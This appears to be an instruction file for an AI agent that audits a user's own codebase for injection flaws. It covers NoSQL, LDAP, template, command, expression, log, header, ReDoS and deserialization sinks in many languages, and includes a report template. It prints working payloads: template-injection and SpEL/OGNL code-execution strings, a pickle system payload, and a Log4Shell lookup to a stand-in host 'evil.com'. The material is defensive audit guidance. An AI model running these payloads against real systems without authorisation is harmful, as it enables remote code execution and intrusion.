Perseus Injection Specialist

Context & Authorization

IMPORTANT: This skill performs deep injection vulnerability analysis on the user's own codebase. This is defensive security testing to find injection flaws before attackers do.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.

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Multi-Language Support

Language	Frameworks & ORMs
JavaScript/TypeScript	Mongoose, Prisma, TypeORM, Sequelize, EJS, Pug, Nunjucks, Handlebars
Go	mongo-driver, go-ldap, html/template, text/template
PHP	Laravel Eloquent, Doctrine, Blade, Twig, Symfony
Python	PyMongo, Motor, SQLAlchemy, Jinja2, Mako, Django Templates
Rust	mongodb, askama, tera, handlebars-rust
Java	Spring Data, Hibernate, Freemarker, Velocity, Thymeleaf, OGNL, SpEL
Ruby	Mongoid, ERB, Slim, Haml
C#	MongoDB.Driver, Razor, Entity Framework

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Overview

This specialist skill performs comprehensive injection analysis beyond basic SQLi/XSS, covering advanced injection vectors often missed by standard scans.

When to Use: After /audit identifies potential injection points, or when the application uses NoSQL, LDAP, XML, or template engines.

Goal: Find all injection vectors including less common but equally dangerous ones.

Engagement Mode Compatibility

Mode	Specialist Behavior
PRODUCTION_SAFE	Source-to-sink proofing and non-invasive validation only
STAGING_ACTIVE	Targeted active verification with strict attempt caps
LAB_FULL	Full dynamic validation across injection families
LAB_RED_TEAM	Multi-step chain simulation in isolated lab only

Safety Gates (Required)

1. Read deliverables/engagement_profile.md before active verification.
2. If no mode is available, default to PRODUCTION_SAFE.
3. Enforce kill-switch and stop on stability signals.
4. Never execute destructive commands or data-damaging payloads.

Injection Types Covered

Type	Sinks	Impact
NoSQL Injection	MongoDB, Redis, Elasticsearch, DynamoDB	Data exfiltration, auth bypass
LDAP Injection	LDAP queries, directory lookups	Auth bypass, info disclosure
XPath Injection	XML queries	Data extraction
Template Injection (SSTI)	All template engines	RCE
OS Command Injection	Shell execution	RCE
Expression Language	EL, SpEL, OGNL, CEL	RCE
Header Injection	HTTP headers, emails	Response splitting, phishing
Log Injection	Log4j, logging frameworks	Log forging, RCE (Log4Shell)

Execution Instructions

Step 0: Mode & Scope Alignment

• Load mode/scope/rate limits from deliverables/engagement_profile.md.
• Respect deliverables/verification_scope.md when present.
• For PRODUCTION_SAFE, validate via minimal indicators and bounded retries.

Phase 1: NoSQL Injection Analysis (3 Parallel Agents)

1. MongoDB Injection Analyst:

   • "Find all MongoDB query operations. Check for operator injection, $where injection, $regex DoS."

   Language-Specific Patterns:

   // Node.js/Mongoose - VULNERABLE
   User.findOne({ username: req.body.username, password: req.body.password });
   // Attack: { "password": { "$ne": "" } }
   

   // Go/mongo-driver - VULNERABLE
   filter := bson.M{"username": username, "password": password}
   collection.FindOne(ctx, filter)
   

   // PHP/MongoDB - VULNERABLE
   $collection->findOne(['username' => $_POST['username']]);
   

   # Python/PyMongo - VULNERABLE
   db.users.find_one({"username": request.json["username"]})
   

   // Rust/mongodb - VULNERABLE
   let filter = doc! { "username": &username };
   collection.find_one(filter, None).await?;
   

   // Java/Spring Data MongoDB - VULNERABLE
   Query query = new Query(Criteria.where("username").is(username));
   

2. Redis Injection Analyst:

   • "Find Redis operations with user input. Check for: EVAL with user data, key injection, Lua script injection."

   Patterns:

   // Node.js - VULNERABLE
   redis.eval(`return redis.call('get', '${userInput}')`, 0);
   

   // Go - VULNERABLE
   rdb.Eval(ctx, script, []string{userKey})
   

   # Python - VULNERABLE
   r.eval(f"return redis.call('get', '{key}')", 0)
   

3. Elasticsearch/DynamoDB Analyst:

   • "Find Elasticsearch queries, DynamoDB expressions with user input. Check for query DSL injection, expression injection."

Phase 2: Directory Injection Analysis (2 Parallel Agents)

1. LDAP Injection Analyst:

   • "Find LDAP operations. Check for filter injection, DN injection."

   Language-Specific Patterns:

   // Java - VULNERABLE
   String filter = "(uid=" + username + ")";
   ctx.search(base, filter, controls);
   

   # Python/ldap3 - VULNERABLE
   conn.search(base, f'(uid={username})')
   

   // Go/go-ldap - VULNERABLE
   filter := fmt.Sprintf("(uid=%s)", username)
   l.Search(ldap.NewSearchRequest(base, ldap.ScopeWholeSubtree, filter))
   

   // PHP - VULNERABLE
   ldap_search($conn, $base, "(uid=$username)");
   

2. XPath Injection Analyst:

   • "Find XML processing with XPath. Check for user input in XPath expressions."

   Patterns:

   // Java - VULNERABLE
   String xpath = "//user[@name='" + username + "']";
   XPath.evaluate(xpath, document);
   

   # Python/lxml - VULNERABLE
   tree.xpath(f"//user[@name='{username}']")
   

Phase 3: Template Injection Analysis (4 Parallel Agents)

1. Python Template Analyst (Jinja2, Mako, Django):

   • "Find template rendering. Check for user input in template strings."

   Patterns:

   # Jinja2 - VULNERABLE
   Template(user_input).render()
   # Test: {{7*7}} -> 49
   # RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   
   # Mako - VULNERABLE
   Template(user_input).render()
   # Test: ${7*7} -> 49
   
   # Django - VULNERABLE (if user controls template)
   Template(user_input).render(Context())
   

2. Java Template Analyst (Freemarker, Velocity, Thymeleaf):

   • "Find template engine usage. Check for SSTI vectors."

   Patterns:

   // Freemarker - VULNERABLE
   Template t = new Template("name", new StringReader(userInput), cfg);
   // Test: ${7*7} -> 49
   // RCE: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
   
   // Velocity - VULNERABLE
   Velocity.evaluate(context, writer, "tag", userInput);
   // Test: #set($x=7*7)$x -> 49
   
   // Thymeleaf - VULNERABLE (with preprocessing)
   // Test: __${7*7}__ -> 49
   

3. JavaScript Template Analyst (EJS, Pug, Nunjucks):

   • "Find template rendering with user input."

   Patterns:

   // EJS - VULNERABLE
   ejs.render(userInput, data);
   // Test: <%= 7*7 %> -> 49
   // RCE: <%= process.mainModule.require('child_process').execSync('id') %>
   
   // Pug - VULNERABLE
   pug.render(userInput);
   
   // Nunjucks - VULNERABLE
   nunjucks.renderString(userInput, data);
   

4. Go/Rust/PHP Template Analyst:

   • "Find template usage in Go, Rust, PHP."

   Patterns:

   // Go text/template - VULNERABLE (if user controls template)
   t, _ := template.New("t").Parse(userInput)
   // Go html/template auto-escapes HTML but not all contexts
   

   // Rust/Tera - Check for user-controlled templates
   Tera::one_off(&user_input, &context, true)?;
   

   // PHP/Twig - VULNERABLE
   $twig->createTemplate($userInput)->render();
   // Blade - Check for {!! !!} (unescaped)
   

Phase 4: Command Injection Analysis (3 Parallel Agents)

1. Shell Execution Analyst:

   • "Find all shell execution points across languages."

   Language-Specific Sinks:

   // Node.js - VULNERABLE
   exec(`ls ${userInput}`);
   execSync(`git clone ${url}`);
   spawn('sh', ['-c', cmd]);
   

   // Go - VULNERABLE
   exec.Command("sh", "-c", userInput).Run()
   exec.Command("bash", "-c", fmt.Sprintf("echo %s", input))
   

   // PHP - VULNERABLE
   system($cmd);
   shell_exec($_GET['cmd']);
   passthru($input);
   proc_open($cmd, $descriptors, $pipes);
   `$cmd`; // backticks
   

   # Python - VULNERABLE
   os.system(cmd)
   subprocess.call(cmd, shell=True)
   subprocess.Popen(cmd, shell=True)
   os.popen(cmd)
   

   // Rust - VULNERABLE
   Command::new("sh").arg("-c").arg(&user_input).output()?;
   

   // Java - VULNERABLE
   Runtime.getRuntime().exec(cmd);
   new ProcessBuilder("sh", "-c", cmd).start();
   

   # Ruby - VULNERABLE
   system(cmd)
   `#{cmd}`
   %x{#{cmd}}
   exec(cmd)
   

2. Argument Injection Analyst:

   • "Find cases where user controls command arguments (even without shell)."

   Patterns:

   // Argument injection - VULNERABLE
   execFile('git', ['clone', userUrl]); // --upload-pack injection
   execFile('curl', [userUrl]); // -o injection
   

3. Indirect Command Injection Analyst:

   • "Find indirect command injection via filenames, environment variables."

Phase 5: Expression Language Injection (2 Parallel Agents)

1. Java EL/SpEL/OGNL Analyst:

   • "Find expression language evaluation with user input."

   Patterns:

   // SpEL - VULNERABLE
   ExpressionParser parser = new SpelExpressionParser();
   parser.parseExpression(userInput).getValue();
   // RCE: T(java.lang.Runtime).getRuntime().exec('id')
   
   // OGNL (Struts) - VULNERABLE
   OgnlUtil.getValue(userInput, context, root);
   // RCE: (#rt=@java.lang.Runtime@getRuntime(),#rt.exec('id'))
   
   // EL - VULNERABLE
   ${userInput} in JSP/JSF
   

2. Other Expression Languages:

   • "Check for CEL (Google), Expr, other expression evaluators."

Phase 6: Log Injection Analysis (2 Parallel Agents)

1. Log4j/Log4Shell Analyst:

   • "Check for Log4j JNDI injection vulnerability."

   Pattern:

   // VULNERABLE to Log4Shell (CVE-2021-44228)
   logger.info("User: " + username);
   // Attack: ${jndi:ldap://evil.com/a}
   

2. Log Forging Analyst:

   • "Check for log injection that can forge log entries, inject newlines."

   Patterns:

   // VULNERABLE - newlines in logs
   console.log(`User logged in: ${username}`);
   // Attack: username = "admin\n[INFO] Admin action performed"
   

Phase 7: Header Injection Analysis (1 Agent)

1. HTTP Header Injection Analyst:

   • "Find HTTP header setting with user input. Check for CRLF injection."

   Patterns:

   // Node.js - VULNERABLE
   res.setHeader('X-Custom', userInput);
   // Attack: value\r\nSet-Cookie: evil=true
   

   // Go - VULNERABLE
   w.Header().Set("Location", userInput)
   

   // PHP - VULNERABLE
   header("Location: " . $_GET['url']);
   

Phase 8: ReDoS (Regex Denial of Service) Analysis (2 Parallel Agents)

1. Regex Pattern Analyst:

   • "Find regex patterns with user input that could cause catastrophic backtracking."

   Vulnerable Patterns:

   // Node.js - VULNERABLE (exponential backtracking)
   const emailRegex = /^([a-zA-Z0-9]+)+@/;  // Nested quantifiers
   const pathRegex = /^(a+)+$/;  // Classic ReDoS
   const htmlRegex = /<([a-z]+)*>/;  // Nested groups with *
   
   userInput.match(emailRegex);  // Can hang with crafted input
   
   // Attack payload: "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
   

   # Python - VULNERABLE
   import re
   pattern = re.compile(r'^(a+)+$')
   pattern.match(user_input)  # Hangs with "aaaa...!"
   

   // Go - SAFER (RE2 engine doesn't backtrack)
   // But check for regexp/syntax with PCRE features
   regexp.MustCompile(`^(a+)+$`)  // Still check patterns
   

   // Java - VULNERABLE
   Pattern.compile("^(a+)+$").matcher(input).matches();
   

   // PHP - VULNERABLE
   preg_match('/^(a+)+$/', $input);  // Uses PCRE
   

   Dangerous Patterns:

   Pattern	Why Dangerous
   (a+)+	Nested quantifiers
   `(a	a)+`
   (a+)*	Quantifier on quantified group
   (.*a){x}	Greedy with repetition
   (a+){2,}	Nested quantifiers

2. User Input Regex Analyst:

   • "Find places where user input is used to construct regex patterns."

   Patterns:

   // VULNERABLE - User controls regex
   const pattern = new RegExp(userInput);
   text.match(pattern);  // ReDoS + potential RCE in some engines
   
   // SAFE - Escape user input
   const escaped = userInput.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
   const pattern = new RegExp(escaped);
   

   # VULNERABLE
   re.search(user_input, text)
   
   # SAFE
   re.search(re.escape(user_input), text)
   

Phase 9: Deserialization Analysis (4 Parallel Agents)

1. Java Deserialization Analyst:

   • "Find unsafe Java deserialization."

   Patterns:

   // VULNERABLE - Deserializing untrusted data
   ObjectInputStream ois = new ObjectInputStream(inputStream);
   Object obj = ois.readObject();  // RCE if attacker controls stream
   
   // VULNERABLE - XMLDecoder
   XMLDecoder decoder = new XMLDecoder(inputStream);
   Object obj = decoder.readObject();
   
   // VULNERABLE - XStream without allowlist
   XStream xstream = new XStream();
   Object obj = xstream.fromXML(userInput);
   
   // SAFE - Use allowlist
   xstream.allowTypes(new Class[] { SafeClass.class });
   

   Gadget Chains:

   • Commons Collections (CC1-CC7)
   • Spring (Spring1, Spring2)
   • Hibernate
   • JDK (JDK7u21)

2. PHP Deserialization Analyst:

   • "Find unsafe PHP unserialize."

   Patterns:

   // VULNERABLE - unserialize with user input
   $data = unserialize($_POST['data']);  // RCE via __wakeup, __destruct
   
   // VULNERABLE - Even with allowed_classes
   $data = unserialize($input, ['allowed_classes' => ['User']]);
   // User class might have dangerous magic methods
   
   // SAFE - Use JSON
   $data = json_decode($_POST['data'], true);
   

   Magic Methods to Check:

   • __wakeup() - Called during unserialize
   • __destruct() - Called when object destroyed
   • __toString() - Called on string conversion
   • __call() - Called on undefined method

3. Python Deserialization Analyst:

   • "Find unsafe Python pickle/yaml."

   Patterns:

   # VULNERABLE - pickle with untrusted data
   import pickle
   data = pickle.loads(user_input)  # RCE
   
   # VULNERABLE - yaml.load without Loader
   import yaml
   data = yaml.load(user_input)  # RCE (PyYAML < 6.0)
   
   # SAFE - yaml with SafeLoader
   data = yaml.safe_load(user_input)
   
   # VULNERABLE - marshal
   import marshal
   marshal.loads(user_input)  # RCE
   

4. .NET Deserialization Analyst:

   • "Find unsafe .NET deserialization."

   Patterns:

   // VULNERABLE - BinaryFormatter
   BinaryFormatter bf = new BinaryFormatter();
   object obj = bf.Deserialize(stream);  // RCE
   
   // VULNERABLE - NetDataContractSerializer
   var serializer = new NetDataContractSerializer();
   object obj = serializer.ReadObject(stream);
   
   // VULNERABLE - ObjectStateFormatter
   ObjectStateFormatter osf = new ObjectStateFormatter();
   object obj = osf.Deserialize(input);
   
   // VULNERABLE - LosFormatter (ViewState)
   LosFormatter lf = new LosFormatter();
   object obj = lf.Deserialize(input);
   
   // SAFE - Use JSON with known types only
   JsonConvert.DeserializeObject<SafeType>(input);
   

   Gadgets:

   • TypeConfuseDelegate
   • TextFormattingRunProperties
   • PSObject
   • WindowsIdentity

Safe Payload Reference

Injection Type	Detection Payload	Verification
NoSQL (MongoDB)	{"$gt": ""}	Returns all records
NoSQL (Redis)	\r\nSET evil 1\r\n	Key created
LDAP	`)(uid=))(	(uid=*`
XPath	' or '1'='1	Returns all nodes
SSTI (Jinja2)	{{7*7}}	Output: 49
SSTI (Freemarker)	${7*7}	Output: 49
SSTI (EJS)	<%= 7*7 %>	Output: 49
Command	; sleep 5	5 second delay
SpEL	${7*7}	Output: 49
Header	\r\nX-Injected: true	New header appears
Log4j	${jndi:ldap://x.x}	DNS callback
ReDoS	aaaaaaaaaaaaaaaaaa!	Response delay/timeout
Java Deser	ysoserial payload	RCE callback
PHP Deser	O:8:"stdClass":0:{}	Object created
Python Pickle	cos\nsystem\n(S'id'\ntR.	Command executed

Output Requirements

Create deliverables/injection_deep_analysis.md:

# Advanced Injection Analysis

## Summary
| Type | Instances Found | Vulnerable | Safe |
|------|-----------------|------------|------|
| NoSQL | X | Y | Z |
| LDAP | X | Y | Z |
| Template (SSTI) | X | Y | Z |
| Command | X | Y | Z |
| Expression | X | Y | Z |
| Log Injection | X | Y | Z |
| Header | X | Y | Z |

## Language/Framework Detected
- Primary: [e.g., Node.js/Express, Go/Gin, PHP/Laravel]
- Template Engine: [e.g., EJS, Jinja2, Blade]
- Database: [e.g., MongoDB, Redis]

## Critical Findings

### [INJ-001] MongoDB Operator Injection in Login
**Severity:** Critical
**Type:** NoSQL Injection
**Language:** Node.js/Mongoose
**Location:** `auth/login.js:34`

**Vulnerable Code:**
```javascript
const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

Attack:

POST /login
{"username": "admin", "password": {"$ne": ""}}

Impact: Authentication bypass - attacker can login as any user

Remediation:

// Validate types before query
if (typeof username !== 'string' || typeof password !== 'string') {
  return res.status(400).json({ error: 'Invalid input' });
}
const user = await User.findOne({ username, password: hash(password) });

---

[INJ-002] SSTI in Email Template

Severity: Critical Type: Server-Side Template Injection Language: Python/Jinja2 Location: utils/email.py:56

Vulnerable Code:

template = Template(f"Hello {user_name}, your order is ready")

Attack:

user_name = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"

Impact: Remote Code Execution

---

Template Engine Security Matrix

Engine	Language	Sandboxed	Risk if User-Controlled
Jinja2	Python	No	Critical (RCE)
EJS	Node.js	No	Critical (RCE)
Freemarker	Java	Partial	Critical (RCE)
Blade	PHP	No	High (RCE possible)
html/template	Go	Yes	Low (auto-escape)

Recommendations

1. Validate input types before NoSQL queries
2. Never use user input in template source strings
3. Use parameterized commands, not shell=True
4. Update Log4j to 2.17+ or disable lookups
5. Sanitize CRLF characters in header values

**Next Step:** Findings feed into `/exploit` for verification.